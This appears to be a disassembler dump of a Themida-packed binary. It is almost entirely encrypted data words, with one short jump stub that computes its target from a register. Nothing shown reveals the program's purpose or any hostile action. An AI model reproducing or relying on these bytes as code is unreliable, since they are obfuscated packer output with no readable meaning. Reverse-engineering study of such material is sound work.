57145FF7h, 0C18D543Fh dd 4Eh, 0F6D98A54h, 571508A1h, 5D225825h, 6535738Fh, 3505928Bh dd 0E41332A9h, 5489669h, 93F7B5A8h, 7C0F9173h, 807E5F39h dd 868B58D7h, 5CC0408Eh, 0B318040Ah, 753A1E7Ah, 278D542Bh dd 0EEh, 8DD306E6h, 7B968F75h, 37611339h, 87998653h, 0AE78D857h dd 324A3370h, 0B8D449E2h, 0CF21C75Ah, 0B53A194Fh, 6BB5221Bh dd 3B72D924h, 6CD40642h, 0E61C64B2h, 3367CF00h, 9FDED480h dd 0C3F8C2Ch, 1373A0D2h, 336860F6h, 96CD62B0h, 0B2AB0856h dd 7060536h, 7484EEFFh, 8BCE9C35h, 0EF7D2F16h, 0AEC577AAh dd 6DAE81B2h, 7B83823Ch, 3B862232h, 79A7A650h, 0C865A817h dd 59CC5DB2h, 809CF92Bh, 3B69DC51h, 483D70A5h, 46C73818h dd 0DD3B2159h, 97473369h, 36C5843Bh, 0F40AA492h, 6A160FA0h dd 4FE030EEh, 0A869C708h, 2CEA5B26h, 1CBh, 588F2476h, 3D6AC308h dd 80376AAFh, 679C1140h, 0CF64B719h, 0DC3C63ACh, 80D41443h dd 2768F82Fh, 0D30341F6h, 1677275Ch, 81900AF0h, 139E9639h dd 4EE53666h, 2D6FE03Eh, 0AFD98BF2h, 8799BB78h, 2464D950h dd 55416D88h, 6DD5A4A5h, 2E2F2C5Fh, 748A5318h, 7FD16F35h dd 0D90B392Ch, 2C9A8E7Ch, 0B5F403B4h, 5C3EB4CDh, 62397C28h dd 1E5398AEh, 9E8D54BAh, 0A5h, 0FB386613h, 0C60B1582h dd 0D2B6F26Bh, 0B2AB0454h, 18FE0425h, 68336781h, 4D6A9AFEh dd 0D9336786h, 808D3A79h, 0E7594FB2h, 351DE311h, 974ABEBh dd 0E868C717h, 3B386BD9h, 4413245Ah, 0C5B73574h, 8281B2AEh dd 0DFCF7B83h, 0DC403B85h, 0C9232778h, 0AEEE3E1Fh, 5686C67Dh dd 1FD0D1C7h, 0ACDE7024h, 0A8D5FC67h, 7D74E26h, 0E7h, 0B4E34092h dd 194EDF34h, 0FC2B86CBh, 43F02D6Ch, 2B58D305h, 0F85807C0h dd 9CF070A7h, 4394D403h, 0EF2FBDEAh, 0EA6B03B0h, 818FEED4h dd 37BAB239h, 4EE53666h, 1443E03Eh, 28386687h, 180CA1F4h dd 33678132h, 0A89D0E42h, 42FC6EF8h, 0D5585DBh, 67820FF5h dd 0B7E19333h, 70732C00h, 0E828F415h, 0B692CEB7h, 7D86128Eh dd 0E0956535h, 0AB03ACCAh, 0FD6FBD85h, 6D3B0B88h, 78B3E58Eh dd 797C3CCh, 48DEDE3h, 0A8A8DA84h, 5483207Eh, 0F469C614h dd 5A404667h, 26398208h, 0AEB4CCB4h, 2759363Dh, 2475A646h dd 67A6B85Ch, 0C24BF837h, 4989F65Ah, 873173EAh, 0FE356583h dd 75A8E987h, 6EBF1408h, 0E43799F7h, 0CDB3CB4Ah, 0D599CE34h dd 0AB265F3Bh, 0E942928Ah, 5071C569h, 0F676AD02h, 0C4120BA8h dd 3, 66BB86C9h, 0F686FF34h, 7A120BA8h, 0C39D8019h, 552B128Dh dd 0DBB5A803h, 213F2679h, 0B4C8BDF0h, 759CC61h, 0B3E459D0h dd 815D5455h, 4C5h, 4ED8300h, 5C242C87h, 467F68h, 24148900h dd 81E78957h, 4C7h, 4EF8100h, 87000000h, 895C243Ch, 6850243Ch dd 600A0F68h, 47220D58h, 943577DBh, 57C6176h, 100770FFh dd 59F6BB53h, 0D801EA58h, 58C2895Bh, 8904EC83h, 4812424h dd 424h, 81525F00h, 3A38242Ch, 478F3CECh, 8478108h, 3CEC3A38h dd 56243C8Bh, 0C681E689h, 4, 8704C683h, 0FF5C2434h, 815A2434h dd 4C4h, 32FBE900h, 7E37FFFBh, 0F6E2AD37h, 2B50245h db 0C5h, 98h, 8Ah ; --------------------------------------------------------------------------- loc_5DEC3B: ; CODE XREF: Themida_:loc_5DE030j mov eax, 61A1000h add eax, ebp jmp eax ; --------------------------------------------------------------------------- dd 69198947h, 209DE846h, 25FA571Ch, 72026865h, 35DB551Dh dd 592EF080h, 4D6E3188h, 5BE4C716h, 4F25E15Ah, 4BEBC2C5h dd 5AE288E0h, 688F5E87h, 1A8E08Eh, 548E4B68h, 48710978h dd 3F6969C8h, 3CAF0899h, 4BA52145h, 515D13FBh, 237642Eh dd 6585F2F1h, 2A3891FDh, 3709BBABh, 5133DD87h, 8E8h, 19419600h dd 0CAAA1B62h, 8E8F6h, 0B4140000h, 0F8680EA5h, 840FC43Ah dd 6, 8E0Fh, 595A0000h, 11E9h, 0B54F5700h, 2BF7B62Dh, 7E0AF023h dd 32062AACh, 0C1816F85h, 60F4h, 8166FF2Bh, 8B183BC3h dd 0C7BA3904h, 812C2F95h, 6931D3E8h, 0DB25BA07h, 0E88158CBh dd 70EBE6Ch, 0E881F78Bh, 6C40BB46h, 3086BA52h, 895A0352h dd 0D08B3904h, 0EF81F28Bh, 23CADC48h, 0F97FBB66h, 0DC44C781h dd 0BA5123CAh, 0FBD0719h, 0DCFF815Ah, 0FFFFF9Fh, 2385h dd 880F6000h, 3, 60DF8B66h, 6E9h, 0A09F6300h, 0F80A6BA9h dd 1EE96161h, 0E5000000h, 3802067Ah, 0EA816657h, 0E95E7E12h dd 0FFFFFF7Fh, 240CFE0Ch, 345AEFA4h, 90797980h, 0BFE96Ah dd 660B0000h, 9CD71BD0h, 0C8C3CA45h, 0ABDAB6E1h, 0B395A7ACh dd 0A1F44592h, 0DA00B395h, 20A7ECABh, 6BB2915Dh, 2096B1F4h dd 9B552075h, 0BCF26BB7h, 0A19692A5h, 603A7594h, 329FB799h dd 0E9B599BDh, 92A59CB2h, 95ACA3F2h, 97B1EF76h, 0B4F94E00h dd 5C009FA5h, 4AF07B6Bh, 0D0008A92h, 0F545F352h, 79A3F653h dd 0F144D6D9h, 0F445E3AFh, 0D77D41h, 0BF9792B0h, 60FD756Bh dd 0F996BFCFh, 20B293BCh, 9B57207Dh, 9492ABF7h, 0E3B29EBDh dd 0E0CE9DBCh, 728F899Bh, 0A9FD8F9Dh, 0F66DB4EEh, 93BCE1B6h dd 97B3ED72h, 0F1B6D000h, 0F0A8CD43h, 0 dd 9D744700h, 99E0E312h, 5Eh, 0 dd 15ABE900h, 0A9680000h, 0E9061A14h, 0FFFA6E2Ch, 1A159368h dd 6E22E906h, 6268FFFAh, 0E9061A16h, 0FFFA6E18h, 1A17AE68h dd 6E0EE906h, 3E68FFFAh, 0E9061A18h, 0FFFA6E04h, 1A18EC68h dd 6DFAE906h, 0C968FFFAh, 0E9061A19h, 0FFFA6DF0h, 1A1A8068h dd 6DE6E906h, 2168FFFAh, 0E9061A1Bh, 0FFFA6DDCh, 1A1CB768h dd 6DD2E906h, 0D868FFFAh, 0E9061A1Dh, 0FFFA6DC8h, 1A1F8A68h dd 6DBEE906h, 7C68FFFAh, 0E9061A20h, 0FFFA6DB4h, 1A21BA68h dd 6DAAE906h, 0FD68FFFAh, 0E9061A22h, 0FFFA6DA0h, 1A24DA68h dd 6D96E906h, 0E68FFFAh, 0E9061A26h, 0FFFA6D8Ch, 94981333h dd 7F83FA0Bh, 64A8E5E0h, 52D6CDFBh, 37FBB6D5h, 133280B4h dd 0D9A9Eh, 0EAE68185h, 0CAFC6BAFh, 0DF224FD3h, 0EA81E35Eh dd 0E9D36055h, 0DFD6F48Bh, 9848655h, 215C6EF1h, 0B1DFAEDDh dd 0CC46C2FAh, 6863E9F8h, 9281B0FDh, 0C50253F0h, 68AACEC9h dd 631CDE5Fh, 71D549DCh, 8365D859h, 588755E4h, 99FB2131h dd 299B8BA8h, 11000000h, 0E01B6180h, 0D3C0FF75h, 0C5081265h dd 0BFD04E4Fh, 2D1149DCh, 73A19C1Dh, 844355E4h, 6DBF6D6Dh dd 13DF8BA9h, 0D5000001h, 6366567h, 24574A79h, 176C442Ch dd 457A8959h, 0EFEC02D7h, 0CAFA3834h, 0E31893B5h, 5E007295h dd 0C0447431h, 0FB9F3A2Eh, 0D0F28D39h, 471059DDh, 3353F033h dd 1A619A11h, 4D63B5E8h, 0DC39FEBBh, 43DC949Eh, 0CA324A41h dd 0C33E4D3Bh, 0A21B09B5h, 0C2CD0DE1h, 6451A3C7h, 49DC2EC2h dd 641F2D3Ch, 87FE0B54h, 0ED519163h, 0E7D8FDEh, 293F4C04h dd 0C205012Ch, 96A5023Eh, 2D55E457h, 0A9F60529h, 55E4579Ah dd 0C7FF3519h, 22395226h, 1EA96B26h, 0CB0F7C91h, 7893F74Fh dd 9CAFE2E1h, 0FFB58421h, 5DCE5FDBh, 0DBFC61D0h, 7A9EE25Fh dd 606FF8B8h, 0EC82EA2Dh, 0C23A6301h, 12FBF0h, 0C3BECE00h dd 0EE9FA03Fh, 1792BD2Ah, 3F769413h, 205D6CFBh, 0CD755FDCh dd 0A03FC3BEh, 0B926EAA3h, 910E128Dh, 9DF83C6Fh, 86B2812Eh dd 823155EAh, 0D5F48B1Eh, 86855AD8h, 0A0D8D5F0h, 63FC0024h dd 95E62A61h, 924EFD3Ah, 56C553F0h, 0F0927AC9h, 7195F953h dd 0F48BB9A3h, 3B4DDAD3h, 46CC4840h, 0D2E99F6Eh, 0DC6CC555h dd 23A1E49h, 0E49C9CA3h, 789F7E55h, 0A89AB47Ah, 0ABC28Bh dd 0E4570000h, 0E49088BBh, 0D070B55h, 0CD65670Bh, 4DC9C1BCh dd 3F4E1129h, 3EEB4A42h, 9A53F097h, 76F13568h, 0B9215954h dd 8E2F5C28h, 49DC7EA4h, 0C6B579DDh, 1F158887h, 193246A7h dd 0DC4B4642h, 43C7F7AEh, 55A9F6B1h, 994FCBEAh, 0C11F63CBh dd 55B1C9C4h, 0C48915C3h, 25563A4Eh, 0A66A2726h, 90970A39h dd 63029C32h, 11CCDE4Eh, 0F4000012h, 0CA55D9D4h, 0A740C4B9h dd 0B22DF1ACh, 8A151994h, 7902067Bh, 0ADE0EF57h, 0D4D1FE69h dd 0C0BBD750h, 0EAA1A33Ch, 0B7F04B26h, 55EA8784h, 6730F41Fh dd 76F13568h, 5B225954h, 0FABE742Fh, 36656738h, 54477906h dd 413C57D0h, 9B12334Ah, 30522D99h, 9F57B97Dh, 9BB6F762h dd 1853F092h, 0B1C9C4CFh, 0CBE33155h, 1994B53Ah, 2D59C6F5h dd 2649DC6Bh, 0D78EB22h, 2757527Eh, 9AAF9AA3h, 202455E4h dd 4B5FE3D2h, 4D9C5C7Eh, 0A4C8C5C4h, 0AEE01697h, 0D71B442h dd 106485FDh, 2685BAFBh, 0A0E4A6Dh, 8A2B86F1h, 5A3924BFh dd 24073273h, 0B89C5A39h, 1DB240C4h, 0CB06A7EBh, 485A3924h dd 0C35CA0C4h, 0F145CAC1h, 0F36563A3h, 1142899Bh, 5050000h dd 0E819868Ah, 0DBF671B5h, 0BFCD5ADEh, 0A8A740C4h, 86AA31F5h dd 989C1130h, 878B020Fh, 6DB1EC18h, 59DDD0F2h, 0D160CD3Ch dd 5255EA84h, 0FD8BFF21h, 43A94D80h, 0A05E28Ah, 0B4D6858Fh dd 8859C1F9h, 0CC6ECFFCh, 6549DC37h, 0F36E1DE1h, 0E43787B2h dd 0FA381C55h, 265523C2h, 0C83251F9h, 4E7EC24Fh, 0F5E887DDh dd 0A6B3C7CDh, 8DE616Ch, 0D13C5FD8h, 2672B8BAh, 0BDCC91BDh dd 9FFB138Eh, 1C70C36Ch, 8FF35FD8h, 37FA85h, 0F08F0000h dd 28ACDCD1h, 618060EAh, 0F947E01Bh, 7249DC2Ch, 626EFD0Eh dd 0A19AE327h, 8155E4DCh, 0A2D9F77Fh, 60A2EAAh, 1A326D99h dd 108708h, 44401F00h, 5FD53149h, 1B6180D5h, 0A4FF75E0h dd 31A781FFh, 19B934FEh, 0DD49DA0Ah, 98963B87h, 3CF6CCADh dd 0D84B40C4h, 80A8581h, 417A3153h, 9AF53133h, 0AAC35DE8h dd 0E6BF7136h, 0BE8D2A3Ch, 3555EA87h, 33E72D51h, 0E31B92B4h dd 0A7DAE970h, 0E88596Dh, 15D393F0h, 0ABA0C4B4h, 0C0FB590Ah dd 7496D54Fh, 15920139h, 5FC43F26h, 7FB5D9BDh, 75F4070Bh dd 4BD45853h, 0D24A4239h, 0E9364533h, 45E8EE31h, 8FD95E22h dd 695CE47Dh, 0FF623F1h, 0B9C90000h, 0A4A542C6h, 8FBA25E9h dd 73910E12h, 5C6BF438h, 7A5EDD21h, 3CC0BDCCh, 2BEFA6A3h dd 111590BCh, 0F5397496h, 0B5842198h, 0CE55EA85h, 86B90385h dd 4A53F092h, 3AE5933Ah, 7AB88C63h, 0A6D5A342h, 22F0ABA7h dd 35571681h, 5CD23646h, 877594C6h, 0D1DC5679h, 49DA401Ch dd 0C0BBC990h, 0A2C64CC8h, 0ACDEADDEh, 7484F90Ah, 0AAA2D9EBh dd 22E60A2Eh, 0D4F38385h, 1D85B5D9h, 2283B8CCh, 4FC6A408h dd 1A5ADDA1h, 0F262FF24h, 0F66889Ah, 29590000h, 1435B276h dd 0FF0A9599h, 0E3E17E82h, 0CCFB64A8h, 0EACE4DD1h, 0AC702D5Ch dd 9B9F1633h, 8185000Ch, 65A9E4E6h, 0C574B108h, 5E55EA8Ah dd 6567F335h, 48460536h, 98E7C74Dh, 67073766h, 0CB116188h dd 0EB859488h, 9CFh, 1B6180C1h, 0F4A790E0h, 0FABB5D02h dd 1E2E8F38h, 9B49DAE2h, 0C3C584B7h, 6C9C1733h, 4B40C4E8h dd 7472473Dh, 0EF017C58h, 62D5A2F0h, 20FF3560h, 0D5C6F1Eh dd 337381FCh, 108BB9C0h, 27969CF8h, 55EA1818h, 26E09CD4h dd 21B27ACBh, 7E0ADBD3h, 0E4EE04Dh, 63E74FC6h, 0FEBE669Ch dd 0F0C23A62h, 0EB8h, 0FC007B8Bh, 0E72B6263h, 0CC504D78h dd 0BA7E3553h, 9F631E2Dh, 7B8A381Ch, 68650206h, 527EE92Dh dd 3254D357h, 67DAB77Bh, 0EA8A0BC6h, 414B8855h, 84216567h dd 53F092B5h, 15264ACEh, 522EF15Fh, 0C052FA85h, 0E5E177E4h dd 2AB84EB9h, 0E2E4BB79h, 3CD393ABh, 0F0A5AD5h, 442AAE3Bh dd 7BA149CBh, 0DB859545h, 13E1868Dh, 0F63114EAh, 9457DDD8h dd 8F7h, 9286B900h, 0A04153F0h, 4A9A232Fh, 736D6124h, 0DFEC1034h dd 1AF5B989h, 0BAD1A188h, 0F0E8CE7Dh, 33C14553h, 1BC93770h dd 54249DAh, 719E8904h, 9C800434h, 4DEE106Fh, 75580FF3h dd 60A2EB6h, 4346799h, 0C3F4D9Ch, 114EC391h, 986C39FFh dd 83371B9Ah, 2FB84FC6h, 0F4506823h, 41234FD0h, 6DDD62FFh dd 0DDB5Fh, 0E39EAE00h, 0E7F801Fh, 37729D0Ah, 5F5674F3h dd 403D4CDBh, 0AD153FBCh, 801FE39Eh, 99060A83h, 71EE326Dh dd 0BDD85C4Fh, 8B52E14Eh, 0A2D155EAh, 3665677Eh, 0BAD69506h dd 0C94BCFFFh, 8DBDF012h, 828FDEEDh, 9D97F30Bh, 0CC8497FEh dd 0BF714A4h, 0B058DAD1h, 8595826Ah, 83274h, 0F48BA000h dd 24A0D8D5h, 4137D6EEh, 9E15334Ah, 9F28EA6Eh, 0DA61F31Eh dd 0BAFE7049h, 0E825E976h, 356CAA7Ch, 81CFD2CFh, 0ED1F6E9Dh dd 0DBED7ABEh, 243BA8A0h, 0F6526A23h, 0AA8EB13Ch, 0B84955EAh dd 0CF56E43Eh, 254939EAh, 0F0A58916h, 4ACE4FC6h, 0FEEFA3C5h dd 0FFCD3D62h, 0D24h, 70B4E7E7h, 63A7D6F7h, 48CCC9C4h dd 36FAB1DFh, 23E79AA9h, 0FF0EB498h, 0E4E17E82h, 0CEFA65A9h dd 0AED04FD3h dd 0E35E3BFFh, 0EA88F742h, 0DDC70C55h, 6366567h, 0E0A64779h dd 6E787302h, 9CE31B3Fh, 4C1A326Bh, 0EBB294E7h, 0D5F730B6h dd 1CE96A6h, 37D820EAh, 274C92E0h, 786A8595h, 46000007h dd 0F09289B9h, 0D1A74653h, 0F304FBAh, 1519949Eh, 5E49DA60h dd 88BAC1FAh, 74961115h, 4F7B0239h, 52A02454h, 6D1BEA52h dd 8A010F5Eh, 84FE3F88h, 9D4FC67Bh, 3E5E76B9h, 76E662FFh dd 0C83A4h, 4B464600h, 762758C7h, 9F1A35B2h, 87FE0C9Bh dd 0A8E5E483h, 45CDE764h, 58C74B46h, 31AE722Bh, 9969A15h dd 158084F7h, 893A0996h, 1AB955EAh, 36656796h, 8A5D4F05h dd 1FBD46F6h, 2A3AA915h, 8166ADD7h, 45F4311Ah, 0DE53F061h dd 0BCC9567Ah, 0C74DC9C1h, 7487F608h, 2425D9F5h, 0D1F55169h dd 0C3C25DB9h, 4E7844CEh, 0C437EA01h, 0F061E85Bh, 2DE76B53h dd 0CD514C7Eh, 957FBB61h, 0CF4D1B85h, 868A6C84h, 77A641D3h dd 72000001h, 5366567h, 96B24446h, 813DF71Bh, 59C6CCFEh dd 53F092EAh, 0B5F01E69h, 0F91D0185h, 0EC8EBBC2h, 8B83A7DEh dd 0B9F4100Fh, 4B0F0581h, 0ADDEAA3Bh, 0EB66C732h, 0C353F092h dd 96FACEC5h, 92093865h, 868A53F0h, 634D018Ch, 9AE149DCh dd 0D8F5326Fh, 2F1357DDh, 83AF9E1Fh, 824D55E4h, 99C16F6Bh dd 58DD8BA8h, 0DB000000h, 0EAE96180h, 6765CFABh, 42E3183Ch dd 49DC55D4h, 0CC49DB2Dh, 0A714F6E2h, 0BD380B94h, 0D7BB55E4h dd 51289BB3h, 0C5417934h, 0BDFF4E4Fh, 0B1DF55E4h, 0D26CC708h dd 0A4C80713h, 0C1BCCB94h, 99F01FC9h, 0AE2A1986h, 0A5A955E4h dd 52B9A481h, 0A8C8DA00h, 8DE48Bh, 67300000h, 79063665h dd 5827574Ah, 38477726h, 0CA939706h, 53F04E09h, 37443749h dd 0D8885C4h, 0E15099FDh, 0C953F0BEh, 53B7C7BAh, 59191B7Fh dd 9FACD829h, 0DFDB6E1Eh, 5467EB49h, 77BBF615h, 63A4D9E8h dd 69168955h, 0EDE1B32Bh, 0D000000Ah, 0AE39FDB0h, 831CE09Dh dd 9E090D88h, 76F13570h, 55D65A57h, 0F9B4D363h, 0E09DAA35h dd 0C87831Ch, 3E6D9F08h, 832C9FFAh, 55EA8EB0h, 671C8033h dd 76F13568h, 5B225954h, 0FD59712Ch, 8BB18337h, 8E18ADFDh dd 0E3F7394h, 0D2DFA7C7h, 0FB906286h, 0A5BAD2C9h, 60D3E8A3h dd 0F06974C7h, 9C8B8F53h, 36E2306Dh, 536E4h, 188B7200h dd 0F092AC9Fh, 0D1232753h, 81830CDDh, 9FD5E60Ah, 87517374h dd 7E92AC14h, 8A73D54Bh, 5EDFE82Ah, 49DCE304h, 0E04179DDh dd 55E44B5Dh, 393950BFh, 8BA965F3h, 28B83h, 8FB92900h dd 4853F092h, 0A8B8D3B9h, 91AFF084h, 0A6A7400Eh, 0B143C7F7h dd 7AFA9F6h, 0FC8349DAh, 0EB66C7CDh, 6855EAE8h, 6ACBC0E4h dd 55EAE8DFh, 0C622F054h, 86DE4942h, 4E8D8A26h, 2D606282h dd 32540B09h, 69C4B77Bh, 0EA397DCCh, 8092F655h, 0CAC2B9CBh dd 2B37B352h, 0BCE888C6h, 8BE61539h, 4FD8D5F4h, 0D6324A41h dd 0AA25515Ch, 5A3E4FC6h, 0FE8DD1D5h, 495BB362h, 9CCh dd 181C8FBFh, 0B0F7E8Fh, 0F034719Ch, 0DE225977h, 0CB4F4241h dd 0A7A66C40h, 8CB926EAh, 76920D11h, 5668F73Bh, 4BB6E327h dd 0EA8F5FEAh, 75BFD455h, 26D8F48Bh, 30486C29h, 466A212Fh dd 0BEED1FCCh, 0D6D3FE8Dh, 6CF3605Ch, 0B0142461h, 3A590B7Eh dd 2EE430A7h, 2C5C4F71h, 17365DFAh, 98286F5h, 8038AC7Bh dd 9BFF0F7Eh, 16A0AA85h, 682BAF7h, 0A24810E2h, 3C859522h dd 194h, 366567F8h, 54477906h, 0D951B0D0h, 0E5C27891h dd 7D8EB29Ch, 0DC867E30h, 5768F749h, 0AB0A0226h, 55E46494h dd 0AD809776h, 641F2B32h, 0E464D665h, 0CCC9C655h, 0E06458BCh dd 7EA04E12h, 6FFE8BA9h, 95122964h, 55E47CA6h, 28DB593Dh dd 53h, 621F2E3Dh, 0F48BAE90h, 27A3DBD2h, 7C08D9EDh, 6C70EE4Fh dd 76F149DCh, 0AA2E5E5Bh, 84FF7586h, 0D719A151h, 0AB0ABA78h dd 55E46C94h, 0AD809776h, 6C46F532h, 82DD55E4h, 2CE60A87h dd 0A98A9E4Ch, 0D9388Bh, 3E4D0000h, 0F89F910Ch, 8C92EDD5h dd 67D55FD5h, 79063665h, 0B427574Ah, 926DDC59h, 99E653F0h dd 113376Ah, 0D552384Ah, 53F09266h, 457599FDh, 9195083Ah dd 2E6563FAh, 4C3F411Eh, 5EEBEA28h, 7A53F021h, 0E7A2AE48h dd 0ABD73D7h, 0DCB6AF0Ch, 2232496Dh, 0C5E93DC2h, 62161C68h dd 86B5C322h, 0DF446719h, 5368EC49h, 0CAF447E0h, 0B0F55E7h dd 0A0AFBE09h, 0ED1BF81Fh, 0F51903CEh, 118C87C6h, 0E3979DF9h dd 41F03DA8h, 0C255E7C8h, 0FE0E8985h, 0EFBC769Ah, 706AADE0h dd 8691600h, 81A8290h, 0DDED0000h, 0C0C15EA2h, 0B3DE49CDh dd 97B532F6h, 808F181Ch, 0AE82090Dh, 70B4E918h, 5FA3DAF7h dd 45C9C4C0h, 31F5A8DAh, 89B8E544h, 0A55EA8Dh, 6867C7C9h dd 5476F135h, 671FD559h, 79063665h, 0BF01A647h, 3B3D6254h dd 6965E417h, 78BA1E2Eh, 27962B8h, 23310000h, 0EAEE96BDh dd 7090B4Eh, 0DFE06180h, 6718AAEh, 923F0AABh, 0D0B453F0h dd 0CF453857h, 0DA61ECCEh, 56D74249h, 55EA80FBh, 0EA1E1478h dd 68D75666h, 8A55EA80h, 8D6244Bh, 568BAE9Fh, 0E996FA1Eh dd 0AE642A3Dh, 1FEDDh, 8FB9DB00h, 4853F092h, 4DB8D3B9h dd 6797123Eh, 12A411E3h, 0AB49DA61h, 0B3D594A7h, 384734F8h dd 1F7B930Ah, 293A8809h, 25EF0C34h, 21595476h, 2F5C28B9h dd 0E5A0ADBCh, 77FA49D6h, 157955EAh, 8C649E1Fh, 99FD4FC6h dd 0FE6AA696h, 5C6EDE62h, 728h, 6CB0EB1Bh, 57DBD2F3h, 3CC0BDC8h dd 2AEEA5A3h, 0F138EBDh, 0EB1AA88Ch, 0D8F572B6h, 0C2CE59DDh dd 0A2A443C7h, 0F74A27EBh, 0EAB29BB6h, 31FB1855h, 5366567h dd 31494446h, 0FE1A5527h, 0E90DDC54h, 0C2C49B2Bh, 0F605B3CBh dd 2F5E609Fh, 7EA14FEBh, 543D8595h, 0FB000001h, 0F5C46567h dd 0C37F545Dh, 9BE41438h, 96EE3269h, 9F0A0177h, 0F068231Eh dd 56DCA053h, 9906C855h, 6BEF49DCh, 996BD253h, 928955E5h dd 994B8627h, 44C855E5h, 88CA21CEh, 8BA99362h, 2D7Ch, 6180B800h dd 0D747E01Bh, 2849DC6Ch, 0D4F8B3DFh, 9C3A05A4h, 0E1D855E4h dd 0E0326F9Ah, 38E6F41Bh, 468BA89Ah, 0B7h, 3B7294EBh, 656777F9h dd 4A790636h, 6CC92457h, 53F092DDh, 5CD9F256h, 53F092EDh dd 9410E266h, 0CAC2B9CBh, 0F241EE59h, 0DA53F092h, 0BB9FF3AEh dd 16A0A279h, 0A8EBEFBh, 0FE5B22E6h, 0DA53F018h, 5131F5A8h dd 0A1B7C4B0h, 0EB323B91h, 0C1E230E3h, 0DFFF9864h, 9EAD9149h dd 7EB2CC6h, 11E1CC7h, 3E898B06h, 0A96D202Fh, 1C600F3Eh dd 0E3EF379Bh, 270D1236h, 59691690h, 5EAD3E1h, 0ADDD0000h dd 90B12EF2h, 838E191Dh, 67650206h, 507FE82Ch, 7E52D95Dh dd 40C4B9C8h, 2FF3AAA7h, 151994B0h, 105788Ah, 0B9881594h dd 3A55EAB3h, 68671799h, 5476F135h, 8B1FD559h, 0DF074818h dd 0DF019E12h, 0F0AAA39Eh, 0D65C2053h, 67940739h, 3C4BED18h dd 0A9CD4941h, 0CFFF3591h, 1B1F8EB0h, 3AC1h, 0EE9ED600h dd 1754C504h, 670B0D07h, 79063665h, 1AA3AF47h, 49BD051Eh dd 0BA6C904Eh, 505EB67Fh, 0ED1D01AAh, 98A7CEA9h, 98F33766h dd 61B1802Dh, 4E3253F0h, 345AC4h, 67D00000h, 0AA053665h dd 0F0923E0Dh, 43D1B553h, 5C69F063h, 67AD2921h, 0F092D476h dd 0E564C753h, 8665AFEAh, 7F2E506Fh, 37B0C0BBh, 13A92AFh dd 0D888463h, 65671D07h, 0CBC3BECDh, 0AB132B4Fh, 901D2E5Ah dd 49DA6132h, 9A1334B3h, 872F1462h dd 28B4F3BAh, 78EBE004h, 0B5561EE8h, 7BB9877Eh, 27EBA2A4h dd 0E71786B8h, 0E11A6E7Fh, 0C0CE9344h, 77B0234Fh, 5FC452C4h dd 0C939FB5Fh, 15373645h, 92E9A266h, 0CAC5C177h, 1A3256B2h dd 0A5A774BEh, 8F5EC6F6h, 0BD65C2F9h, 0B645E883h, 69714DD2h dd 0AB035CE4h, 4A799h, 376A9A00h, 5A5374F3h, 433E49D6h dd 6B2220BFh, 940938A7h, 91210B90h, 6CFB3F72h, 45E2265Fh dd 5DCA4E49h, 0C1AC702Bh, 0B00E3D7Ah, 4E8555EAh, 3665674Ah dd 0AA5375F2h, 0C2CE0F74h, 0B9D451C7h, 225A5374h, 6E9E82A6h dd 0D6616EFDh, 4A2BEB3h, 0E33155A5h, 6B631A2Ch, 4140F214h dd 4F10284Ch, 0D4334B42h, 0B2040E65h, 0D8082D9h, 74BEF312h dd 3F418097h, 1E203F4Ch, 41EDA56Fh, 85952A9Bh, 403Bh, 6180F100h dd 0F947E01Bh, 7249DC2Ch, 5C6EFD0Eh, 67AD2921h, 7C090544h dd 0F3CBC260h, 8286AADBh, 0E472063Bh, 6D202255h, 4274065Eh dd 52BD835Fh, 7B9710C0h, 0E93A0800h, 9000003h, 0D45E5372h dd 36656752h, 0CBDF9506h, 0DCC87824h, 0C2C49B99h, 0AE3F47CBh dd 4A04A1DAh, 0E449DC65h, 0AFD06665h, 264ACEFEh, 60B216h dd 0B9D1CCC7h, 0A001395Dh, 55E4859Dh, 7979907Fh, 8BA89FB3h dd 38C3h, 6180E900h, 0D747E01Bh, 2849DC6Ch, 3B481724h dd 44CE4A42h, 9C063978h, 282655E4h, 5025D6Dh, 0E1EF7088h dd 403692AAh, 0B56DC33h, 8755A5CCh, 178BA89Ah, 0E9h, 3665679Dh dd 4C494605h, 6A5AD83Ch, 83BBF615h, 0B8D3CAFCh, 0CB2168A8h dd 0D55FCE88h, 397496E9h, 70E3B4F5h, 2C3353F0h, 0BCAB901Bh dd 4AD80D3Eh, 0D3FEC26h, 0FB0D9A9Eh, 0F1108880h, 7B37708Bh dd 0CB49DC55h, 0EC1C99B4h, 0FA5EAA68h, 7FEA4536h, 0E4D5033Eh dd 0BDBC8055h, 55E4D58Eh, 0BBF30105h, 0B22D5E2Ah, 0E4D5C675h dd 1025D55h, 0F4187C8Ch, 0A6208D3Eh, 0DF4FCB8Dh, 0FE0E7F80h dd 645769Ah, 1A7E8E0Bh, 243CAF18h, 52696942h, 0C09F9500h dd 0DF48CCC1h, 683AFDB0h, 63031Fh, 2CA9AA8h, 8DBD0000h dd 70910E12h, 636EF93Dh, 4745E226h, 305FC84Ch, 1E32B97Dh dd 20E499A8h, 0F138A87h, 0F5397490h, 0E125586Ah, 59E835B4h dd 0DA55EAB6h, 686777B9h, 5476F135h, 0A7A6D559h, 7FDBF3AAh dd 1B1B3EA9h, 0F73D72EEh, 0D3F48B0Dh, 0EC26A2DAh, 484309D8h dd 0DC6C7FEFh, 7C8CF049h, 19F7790Fh, 657BCD5Ch, 80A2E69h dd 0E41FB28Dh, 3B769255h, 564F7C03h, 5EB56226h, 274E89D4h dd 0A91A052Bh, 0F8918Bh, 0AEA60000h, 0D959450Ah, 808A8891h dd 84216567h, 53F092B5h, 1C8FB1CEh, 69242FF8h, 1B2A3545h dd 66E55666h, 4D122A67h, 0CF4B433Eh, 0BB6C69ABh, 0E753F096h dd 0F572B6E5h, 0D36ECFD3h, 5053F094h, 0ACB3C8ECh, 8AD5E5A0h dd 8F0B037Eh, 0A51DA96Bh, 9A1B3044h, 49DC71D0h, 0FB95E35Eh dd 49D6D0C5h, 2F34E8Fh, 0C7055E4h, 283BEFFh, 3C0055E4h dd 8A8EF2F6h, 4D6FEBFAh, 5F206636h, 4B4EECB3h, 3AB763D5h dd 5FB8E516h, 0D04FCB3Ah, 1005F6Ch, 80F3888Ch, 7B0A28F0h dd 0DE1F4B48h, 5FDBE263h, 0F9969CE0h, 8850D7CAh, 706301EAh dd 1960A18h, 59690000h, 4445E226h, 2F5AC549h, 1331AE72h dd 0FC0B9498h, 0DAFE7D81h, 0DC205D6Ch, 0CB4F4643h, 0B175305Ch dd 95991436h, 152481F8h, 0AE55EAB4h, 6867A365h, 5476F135h dd 305B2259h, 49D64575h, 53F092FAh, 23F11579h, 188BBD77h dd 0F092AC9Fh, 0D1232753h, 6595083Ah, 71B5E81Ah, 